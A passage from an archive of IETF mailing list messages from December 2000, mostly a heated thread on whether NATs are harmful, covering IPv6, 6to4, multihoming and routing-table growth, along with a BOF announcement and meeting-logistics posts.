(8.8.7/8.8.8) with ESMTP id WAA15264 for ; Fri, 15 Dec 2000 22:10:26 -0500 (EST) Received: from sandelman.ottawa.on.ca ([2002:401a:9bfe:3:2a0:24ff:feac:5c52]) by nox.sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBEHR9k09666 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK) for ; Thu, 14 Dec 2000 09:27:10 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBEHJ3t12340 for ; Thu, 14 Dec 2000 12:19:03 -0500 (EST) Message-Id: <200012141719.eBEHJ3t12340@sandelman.ottawa.on.ca> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 07:55:48 +0100." <20001214065548.312A6898@sean.ebone.net> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Thu, 14 Dec 2000 12:19:03 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Sean" == Sean Doran writes: Sean> I should have waited until Perry had spoken, because now that he Sean> has pointed out the extreme cost of NAT, I have seen the light! Sean> NATs are expensive. They have gross side-effects. Even Noel Sean> Chiappa, my guru, says that they are an architectural hack. Sean> So, why are people deploying them? Sean> They are so awful, that it must only happen when people have NO Sean> OTHER OPTION. Let's seperate things as public networks vs private networks. "Public networks" IP addresses cost money and the people deploying NATs in places like hotels are not smart enough to buy a pool of IP addresses and use host routing. For private network (e.g. corporate networks) there are other reasons. But, availability of IP addresses is a major one. My suggestion is that all NAT products should provide IPv6 with 6to4 support. Instead of doing ESPUDP to get IPsec around NATs, we should do put ESP over IPv6. This requires the same amount of effort (new clients, new servers), but leverages IPv6 into the equation. 6to4 is very cool. ] Train travel features AC outlets with no take-off restrictions|gigabit is no[ ] Michael Richardson, Solidum Systems Oh where, oh where has|problem with[ ] mcr@solidum.com www.solidum.com the little fishy gone?|PAX.port 1100[ ] panic("Just another NetBSD/notebook using, kernel hacking, security guy"); [ From owner-ietf-outbound Fri Dec 15 23:00:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA26454 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 23:00:03 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA12418 for ; Fri, 15 Dec 2000 22:24:03 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id WAA06757; Fri, 15 Dec 2000 22:24:03 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A3AE054.E8A3C808@cs.columbia.edu> Date: Fri, 15 Dec 2000 22:24:04 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org, rsvp@isi.edu, end2end-interest@isi.edu, Scott Bradner , Jon Crowcroft Subject: siglite - BOF mailing list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit After discussions with Scott Bradner, I have set up a mailing list at http://lists.cs.columbia.edu/mailman/listinfo/siglite to discuss interest in possibly having a BOF on light-weight approaches to network-layer signaling for QoS, network state setup, pricing information and related topics. The goal of the list is to narrow down the topics of discussion sufficiently well to see if there is a sufficient interest and a coherent agenda for a BOF at the next IETF. At this point, this is an exploratory effort to gather some of the recent work on network-layer signaling protocols and see if any of it should be pursued in the IETF. Different design trade-offs than today's protocols are likely to be needed to arrive at different design choices. For example, a sub-goal may be the use in devices with restricted memory resources, such as 3G wireless or various networked appliances. The range of commonality across network-layer signaling functions is also, I believe, an interesting area of exploration. No decisions on the BOF have been made at this point. Thanks. Henning -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Fri Dec 15 23:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA29868 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 23:10:04 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20433 for ; Fri, 15 Dec 2000 22:43:05 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA13230; Fri, 15 Dec 2000 22:42:52 -0500 (EST) Message-Id: <200012160342.WAA13230@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: smd@ebone.net (Sean Doran) cc: Chrism@ninthhouse.com, drobinson@endtoend.com, moore@cs.utk.edu, iab@iab.org, ietf@ietf.org, mdev@NORTELNETWORKS.COM Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 19:44:18 +0100." <20001215184418.3C3F3898@sean.ebone.net> Date: Fri, 15 Dec 2000 22:42:52 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Surely the "much pain" is because, as Melinda Shore indicates, > some "anti-NAT fanatics" cannot understand the distinction > between "who" and "where"? sounds like a Peter Pan theory.... okay, everbody, close your eyes and try *real hard* to make believe that you can route between networks using overlapping address space, and that you can run distributed large scale distributed applications without a shared space for endpoint identifiers... if it doesn't work, you're not trying hard enough to believe! excuse me while I puke. Keith From owner-ietf-outbound Sat Dec 16 02:11:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA24691 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 02:10:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA15493 for ; Sat, 16 Dec 2000 02:00:42 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id CAA15210; Sat, 16 Dec 2000 02:00:40 -0500 (EST) Message-Id: <200012160700.CAA15210@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Scott Bradner cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 19:59:00 EST." <200012160059.TAA06452@newdev.harvard.edu> Date: Sat, 16 Dec 2000 02:00:40 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > this focus on NATs seems to be an incomplete statement of the problem a complete statement of the problem is quite difficult, especially given that the problem can be viewed in many different ways (without any of them being contradictory with the others), each of these views being illuminating and therefore useful. RFC 2993 is one view; http://www.cs.utk.edu/~moore/what-nats-break.html is another, and there are some other quite illuminating views that haven't been published. and we're still in the process of discovering the extent of the problem. private addresses aren't a problem by themselves as long as people don't want hosts with private addresses to exchange *any* traffic with the global Internet and as long as people don't expect to run applications on such hosts that interoperate with other applications on the Internet. ALGs (which is what I assume you mean by firewalls) cause their own set of problems, some of which are similar to those caused by NATs. the fact that NATs, ALGs, and firewalls all are in wide use and that their effects combine with one another makes it difficult to talk about any of these in isolation regarding their effect on the network or on applications; the fact that these functions often appear together in the same box also adds to the confusion. but just because ALGs and/or firewalls cause some of the same problems as NATs does not mean that it's not useful to focus on the problems caused by NATs. there is an important difference between deliberate harm to interoperability done by firewalls in the name of security (or the illusion of security, but I digress) and the accidental/unintentional harm to interoperability that is done by NATs. Keith From owner-ietf-outbound Sat Dec 16 02:21:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA28320 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 02:20:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA24117 for ; Sat, 16 Dec 2000 02:08:39 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id CAA15314; Sat, 16 Dec 2000 02:08:37 -0500 (EST) Message-Id: <200012160708.CAA15314@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Paul Ferguson cc: Scott Bradner , ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 17:19:44 PST." <4.3.2.7.2.20001215171828.00a98860@lint.cisco.com> Date: Sat, 16 Dec 2000 02:08:36 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > It looks like NAT's are a fact of life, and we > just need to figure out how to deal with them. well, that's the question after all - how best to deal with them? I claim that NATs are architecturally bankrupt and we should therefore devote as little energy as possible toward legitimizing NATs and/or trying to make them any more complex than they already are. let's not pretend that they don't exist, or that they don't have some valid uses. but let's not pretend that they are viable in the long term either. Keith From owner-ietf-outbound Sat Dec 16 05:31:42 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA27512 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 05:30:03 -0500 (EST) Received: from mail.perspex.com (outside-eth.virpack.com [12.5.16.108] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA27115 for ; Sat, 16 Dec 2000 05:28:14 -0500 (EST) Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id KAA09103; Sat, 16 Dec 2000 10:53:56 GMT Date: Sat, 16 Dec 2000 10:53:56 +0000 (/etc/localtime) From: Tripp Lilley To: "Henning G. Schulzrinne" cc: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <3A3ABE5E.9CB49D15@cs.columbia.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 15 Dec 2000, Henning G. Schulzrinne wrote: > Then, there's always the Scout Jamboree option: build an Internet tent > city. I'd imagine Burning Man has more attendees than the IETF and it > seems to draw some of the same crowd. Interop tried this at Vegas shows from, what, '96 through '98, when they outgrew the LVCC :) Marketing called it the HTFE -- "High Tension Fabric Enclosure", but the NOC team preferred "Temporary Enclosure Needing Tension" -- TENT. -- Joy-Loving * Tripp Lilley * http://stargate.eheart.sg505.net/~tlilley/ ------------------------------------------------------------------------------ "There were other lonely singers / in a world turned deaf and blind Who were crucified for what they tried to show. Their voices have been scattered by the swirling winds of time, 'Cause the truth remains that no one wants to know." - Kris Kristofferson, "To Beat the Devil" From owner-ietf-outbound Sat Dec 16 19:51:36 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA22926 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 19:50:02 -0500 (EST) Received: from odd.qualcomm.com (odd.qualcomm.com [129.46.2.48]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA21893 for ; Sat, 16 Dec 2000 19:44:54 -0500 (EST) Received: from [192.168.1.5] (vpnap-g1-012045.qualcomm.com [10.13.12.45]) by odd.qualcomm.com (8.9.3/8.9.3/1.0) with ESMTP id QAA00621; Sat, 16 Dec 2000 16:44:12 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <3A38312F.358CAA5A@senie.com> References: <200012140113.eBE1DQg04367@research.solidum.com> <3A38312F.358CAA5A@senie.com> X-Mailer: QUALCOMM Eudora v5.0 for Macintosh Date: Sat, 16 Dec 2000 16:41:35 -0800 To: Daniel Senie , Michael Richardson From: Randall Gellens Subject: Re: 49th-IETF conf room planning Cc: ietf@ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 9:32 PM -0500 12/13/00, Daniel Senie wrote: > I am starting to wonder if we're going to have to hold the meetings > primarily in Las Vegas. I fervently hope not. Las Vegas is the tobacco smoking capital of the U.S. -- higher rates than anywhere else in the country, including areas where they grow the stuff. It is also very hard to find good quality food (but is awash in cheap buffets). From owner-ietf-outbound Sat Dec 16 20:50:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA29651 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 20:50:02 -0500 (EST) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA28999 for ; Sat, 16 Dec 2000 20:44:13 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id 1737A1E00AC; Sat, 16 Dec 2000 20:44:13 -0500 (EST) Sender: perry@snark.piermont.com To: smd@ebone.net (Sean Doran) Cc: ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! References: <20001214065548.312A6898@sean.ebone.net> From: "Perry E. Metzger" Date: 16 Dec 2000 20:44:13 -0500 In-Reply-To: smd@ebone.net's message of "Thu, 14 Dec 2000 07:55:48 +0100 (CET)" Message-ID: <87n1dvom8i.fsf@snark.piermont.com> Lines: 23 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org smd@ebone.net (Sean Doran) writes: > I should have waited until Perry had spoken, because now that he has > pointed out the extreme cost of NAT, I have seen the light! > > NATs are expensive. They have gross side-effects. Even Noel Chiappa, > my guru, says that they are an architectural hack. > > So, why are people deploying them? > > They are so awful, that it must only happen when people have NO OTHER OPTION. > > So, I have to wonder, why is it that they have no option? Maybe because I hear from folks like you and others that you're ideologically opposed to deploying v6 instead of against it for technical reasons? -- Perry E. Metzger perry@piermont.com -- "Ask not what your country can force other people to do for you..." From owner-ietf-outbound Sat Dec 16 21:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA07751 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 21:20:03 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA06243 for ; Sat, 16 Dec 2000 21:15:01 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id VAA20627; Sat, 16 Dec 2000 21:14:54 -0500 Date: Sat, 16 Dec 2000 21:14:54 -0500 From: "J. Noel Chiappa" Message-Id: <200012170214.VAA20627@ginger.lcs.mit.edu> To: perry@piermont.com, smd@ebone.net Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org X-Loop: ietf@ietf.org > From: "Perry E. Metzger" > you're ideologically opposed to deploying v6 instead of against it for > technical reasons? Ah, *that's* what's wrong with IPv6 - it doesn't pay enough attention to control of the means of production by the workers. And here I was, all these years, thinking there were all these technical things wrong with IPv6. Oh well, I guess I wasn't very perceptive. Noel From owner-ietf-outbound Sat Dec 16 21:30:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA10768 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 21:30:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA09110 for ; Sat, 16 Dec 2000 21:24:29 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 6472C899; Sun, 17 Dec 2000 03:24:27 +0100 (CET) To: perry@piermont.com, smd@ebone.net Subject: Re: NATs *ARE* evil! Cc: iab@iab.org, ietf@ietf.org Message-Id: <20001217022427.6472C899@sean.ebone.net> Date: Sun, 17 Dec 2000 03:24:27 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Perry Metzger writes: | Maybe because I hear from folks like you and others that you're | ideologically opposed to deploying v6 instead of against it for | technical reasons? You have never heard this from me. I have no doubt whatsoever that you have heard this from others speaking about me. This probably includes your own inner voices. Of course, that's because they do not have the technical acumen or architectural insight to play the ball instead of the man, as they say in soccer countries. IPv6 is architecturally flawed in precisely the same way as IPv4 is; it simply has 4x the number of binary digits in the address fields and some minor cleanups which were important some years ago. That you do not understand that IPv6 does not distinguish between who and where, and that this ultimately will explode in the routing system in exactly the same way that IPv4 is starting to, reflects upon you, rather than whatever people think my ideology might be. Sean. From owner-ietf-outbound Sat Dec 16 21:50:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA17332 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 21:50:02 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA15498 for ; Sat, 16 Dec 2000 21:42:11 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 925D889A; Sun, 17 Dec 2000 03:42:11 +0100 (CET) To: perry@piermont.com, smd@ebone.net Subject: Re: NATs *ARE* evil! Cc: iab@iab.org, ietf@ietf.org Message-Id: <20001217024211.925D889A@sean.ebone.net> Date: Sun, 17 Dec 2000 03:42:11 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org I looked again. Perry Metzger still writes: | > So, I have to wonder, why is it that they have no option? | | Maybe because I hear from folks like you and others that you're | ideologically opposed to deploying v6 instead of against it for | technical reasons? Wait, it's because of *me* that IPv6 isn't a stunning success compared to NAT? I didn't realize that, when I asked the IAB to use their technical insights as a market predictor, that behind the invisible hand of the marketplace lurks little ol' me. Maybe someone should tell Paul Krugman. Sean. - -- Sean Doran, Pagan God of Market Forces From owner-ietf-outbound Sat Dec 16 22:10:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA22948 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 22:10:03 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20826 for ; Sat, 16 Dec 2000 22:02:38 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id WAA20735; Sat, 16 Dec 2000 22:02:21 -0500 Date: Sat, 16 Dec 2000 22:02:21 -0500 From: "J. Noel Chiappa" Message-Id: <200012170302.WAA20735@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: gih@telstra.net, jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: Geoff Huston > There are strong indications that NAT is one factor behind this part of > the BGP table. I'm afraid I'm missing the logic here. As you point out below, NAT's may have caused people to use *smaller* blocks of the global address space: > much of the recent growth in the deployed Internet has happened behind > NATs of various forms and the side effect is low levels of overall > address space growth as reflected in the span of address space > advertised in the BGP tables but they shouldn't, assuming all else being equal (a possibly bad assumption, as I'll note below), have any effect on the *number* of blocks (i.e. things which can potentially produce global routing table entries). The blocks are just smaller, again as you point out: > but an increasing finer level of granularity in the routing table. So the number of distinct "local areas" is still the same, yes? And NAT's should, all else being equal, not have a negative effect on the aggregatability of those addresses. E.g. if provider X has a /12 out of which they have to support N customers, without NAT they'd have to give each customer, say, a /18; but with NAT, each customer can get a /22. But there are still the same number of subsidiary blocks (i.e. N sub-blocks), and outside X they can, all else being equal, still be aggregate into that single /12. Now, if some subset M of those customers are multi-homed, so you can't aggregate into a single /16, that's an issue - but that has nothing to do with NAT - it has to do with the multihoming. The effect on the routing table is the same, whether those people are behind NAT boxes or not. Am I missing something? There are some second-order ways in which NAT boxes might actually help aggregation, now that I think about it. The simplest one is when customers switch providers, and don't want to renumber. E.g. company X is a customer of ISP P, and has addresses (either from P, or their own). X switches to ISP Q, which wants them to renumber so they won't have to be separately advertised. X declines, saying it's a hassle. If, however, a NAT box is installed (assuming X's applications don't run afoul of NAT limitations), so that externally X's addresses become part of Q's existing block, in this instance deployment of a NAT box will actually reduce the routing table by one entry. I gather this use of NAT boxes (to avoid renumbering) is not unknown, if not the most common cause for installing a NAT. Does anyone have any idea how often it happens? Another way in which NAT boxes might reduce the number of routes has to do with how many customers a provider can fit into an address block before it has to go back to the registry for another discontiguous block. To use the case about, with ISP X and a /12, if they are giving out a /18 to each customer, then they only get to support 64 customers before they have to go back for another block. If they are giving each customer a /22, then they get 1024 customers to a /12 block. I doubt any of these are major factors when you look at routing table growth, though. But I expect that growth is principally due to other factors, and NAT doesn't play a big role (either pro or con). Noel From owner-ietf-outbound Sat Dec 16 23:00:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA08260 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 23:00:02 -0500 (EST) Received: from hoemlsrv.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA07611 for ; Sat, 16 Dec 2000 22:57:57 -0500 (EST) Received: from hoemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id WAA05481 for ; Sat, 16 Dec 2000 22:57:57 -0500 (EST) Received: from il0015exch001h.wins.lucent.com (h135-1-23-83.lucent.com [135.1.23.83]) by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id WAA05477 for ; Sat, 16 Dec 2000 22:57:57 -0500 (EST) Received: by il0015exch001h.ih.lucent.com with Internet Mail Service (5.5.2650.21) id ; Sat, 16 Dec 2000 21:57:57 -0600 Message-ID: <80B684C5E29FD211AA8000A0C9CDD91904D09B7B@il0015exch005u.ih.lucent.com> From: "Rodriguez, Elizabeth G (Elizabeth)" To: "'ietf@ietf.org'" Subject: Announcement: IPS Interim Meeting Date: Sat, 16 Dec 2000 21:57:54 -0600 Return-Receipt-To: "Rodriguez, Elizabeth G (Elizabeth)" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" X-Loop: ietf@ietf.org > We will be holding an IPS interim meeting on January 16th and 17th. > The meeting will be held at the Grosvenor Resort, Lake Buena Vista, > Orlando, Florida. > This is the same hotel that the T10 meetings are being held at. > > The agenda will be forthcoming sometime this week, as will more > information on accommodations. > In general, SCSI (e.g. iSCSI) related issues will be addressed on January > 16th > and FC (FCIP, iFCP, etc.) related issues will be addressed on January > 17th. > > Note: This will be a work session, to try to address issues related to > IPS work group items. > Detailed minutes for these meetings will be taken and posted to the > mailing list, for review by the community at large. > No decisions made at these meetings will be final until that review takes > place and consensus is reached. > > Please address any questions you may have to me directly. > > Thanks, > > Elizabeth Rodriguez From owner-ietf-outbound Sat Dec 16 23:10:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA12128 for ietf-outbound.10@ietf.org; Sat, 16 Dec 2000 23:10:05 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA10778 for ; Sat, 16 Dec 2000 23:06:39 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id XAA21269; Sat, 16 Dec 2000 23:06:11 -0500 (EST) Message-Id: <200012170406.XAA21269@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: smd@EBONE.NET (Sean Doran) cc: perry@piermont.com, iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Sun, 17 Dec 2000 03:24:27 +0100." <20001217022427.6472C899@sean.ebone.net> Date: Sat, 16 Dec 2000 23:06:11 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org the fact that IPv* doesn't distinguish between who and where does cause some problems, but does not significantly impact the ability to route IPv* packets. even if you free IP addresses from any kind of role as host identity (which IMHO would be a good thing except that nobody has produced a satisfactory solution to the problem of mapping between the two), IP addresses will still need to be fairly stable, and there will still be a nontrivial amount of effort associated with renumbering as the network topology changes. Keith From owner-ietf-outbound Sun Dec 17 00:40:42 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA14302 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 00:40:05 -0500 (EST) Received: from mako1.telstra.net (mako1.telstra.net [203.50.0.28]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA12490 for ; Sun, 17 Dec 2000 00:35:58 -0500 (EST) Received: from tecra.telstra.net ([203.10.60.18]) by mako1.telstra.net (8.9.2/8.9.2) with ESMTP id QAA86750; Sun, 17 Dec 2000 16:35:22 +1100 (EST) (envelope-from gih@telstra.net) Message-Id: <4.3.2.7.2.20001217162807.00b19100@localhost> X-Sender: gih@localhost X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 17 Dec 2000 16:35:21 +1100 To: "J. Noel Chiappa" From: Geoff Huston Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org, jnc@ginger.lcs.mit.edu In-Reply-To: <200012170302.WAA20735@ginger.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 12/16/00 10:02 PM -0500, J. Noel Chiappa wrote: > > From: Geoff Huston > > > There are strong indications that NAT is one factor behind this part of > > the BGP table. > >I'm afraid I'm missing the logic here. As you point out below, NAT's may have >caused people to use *smaller* blocks of the global address space: > > > much of the recent growth in the deployed Internet has happened behind > > NATs of various forms and the side effect is low levels of overall > > address space growth as reflected in the span of address space > > advertised in the BGP tables > >but they shouldn't, assuming all else being equal (a possibly bad assumption, >as I'll note below), and I believe that this possibly bad assumption is indeed a probably bad assumption as I;'ll note below as well. > have any effect on the *number* of blocks (i.e. things >which can potentially produce global routing table entries). The blocks are >just smaller, again as you point out: > > > but an increasing finer level of granularity in the routing table. > >So the number of distinct "local areas" is still the same, yes? And NAT's >should, all else being equal, not have a negative effect on the >aggregatability of those addresses. well I fail to see that - how does a NAT gateway gain the appearance of greater resiliency of service supply. With NAT all addresses are not exactly equal as some are used as the front address for an arbitrarily large number of concealed end device addresses. The pressures to using multihoming of a prefix that enconmpasses the NAT gateway does appear to be quite common. Unless of course you have evidence to present to suggest the contrarfy is taking place? >E.g. if provider X has a /12 out of which they have to support N customers, >without NAT they'd have to give each customer, say, a /18; but with NAT, each >customer can get a /22. As far as I have seen things, its the customer who is using NAT, not the provider. I'd be interested in seeing further details of a provider model as suggested in the above lines, as its relatively novel to me. > But there are still the same number of subsidiary >blocks (i.e. N sub-blocks), and outside X they can, all else being equal, >still be aggregate into that single /12. > >Now, if some subset M of those customers are multi-homed, so you can't >aggregate into a single /16, that's an issue - but that has nothing to do >with NAT - it has to do with the multihoming. The effect on the routing table >is the same, whether those people are behind NAT boxes or not. I think you may have missed my point that the motive for multihoming a small prefix is far greater for a NAT network than a small non-NAT network. >Am I missing something? hard to say. >There are some second-order ways in which NAT boxes might actually help >aggregation, now that I think about it. > >The simplest one is when customers switch providers, and don't want to >renumber. E.g. company X is a customer of ISP P, and has addresses (either >from P, or their own). X switches to ISP Q, which wants them to renumber >so they won't have to be separately advertised. X declines, saying it's >a hassle. > >If, however, a NAT box is installed (assuming X's applications don't run >afoul of NAT limitations), so that externally X's addresses become part of >Q's existing block, in this instance deployment of a NAT box will actually >reduce the routing table by one entry. I believe ease of renumbering under NAT is well trodden ground. >I gather this use of NAT boxes (to avoid renumbering) is not unknown, if not >the most common cause for installing a NAT. Does anyone have any idea how >often it happens? > >Another way in which NAT boxes might reduce the number of routes has to do >with how many customers a provider can fit into an address block before it >has to go back to the registry for another discontiguous block. > >To use the case about, with ISP X and a /12, if they are giving out a /18 to >each customer, then they only get to support 64 customers before they have to >go back for another block. If they are giving each customer a /22, then they >get 1024 customers to a /12 block. > > >I doubt any of these are major factors when you look at routing table growth, >though. But I expect that growth is principally due to other factors, and >NAT doesn't play a big role (either pro or con). I have said co0nsistently that it is a factor, and in reading your note I really don't see anything that would disabuse such a belief. From owner-ietf-outbound Sun Dec 17 02:31:44 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA13083 for ietf-outbound.10@ietf.org; Sun, 17 Dec 2000 02:30:05 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA12441 for ; Sun, 17 Dec 2000 02:28:48 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id CAA21374; Sun, 17 Dec 2000 02:28:40 -0500 Date: Sun, 17 Dec 2000 02:28:40 -0500 From: "J. Noel Chiappa" Message-Id: <200012170728.CAA21374@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: gih@telstra.net, jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: Geoff Huston >> [NAT's] shouldn't have any effect on the *number* of [address] >> blocks (i.e. things which can potentially produce global routing table >> entries). >> ... So the number of distinct "local areas" is still the same, yes? >> And NAT's should, all else being equal, not have a negative effect on >> the aggregatability of those addresses. > well I fail to see that - how does a NAT gateway gain the appearance of > greater resiliency of service supply. Sorry, I didn't follow what you meant by that. Let me press on... > With NAT all addresses are not exactly equal as some are used as the > front address for an arbitrarily large number of concealed end device > addresses. The pressures to using multihoming of a prefix that > enconmpasses the NAT gateway does appear to be quite common. I understand that there are pressures to do multihoming, but I just don't see how NAT (i.e. address sharing) is having much effect one way or the other on the intensity of the pressure to do multi-homing. I'm not trying to be argumentative or rhetorical here, but I've carefully read your whole message, and I genuinely don't see anything that I can latch onto as a mechanism for what you reckon is going on, and I'd like to figure it all out. You said "some [addresses] are used as the front address for an arbitrarily large number of concealed end device[s]" - but how/why would the pressures you mention be any less if each host had its own permanent address? Are you saying that since the NAT box is necessarily a choke point (since we don't yet have, AKAIK, distributed NAT, where the translations are maintained in parallel in a number of different devices), there's more pressure to multi-home it to increase its reliability? If so (and my apologies if I'm making an incorrect guess), I think it's an incorrect analysis of the situation to say that the pressure to multi-home (and this, the impact on the routing) exists because it's a NAT box. To see this, consider the case where the site has all the addresses it 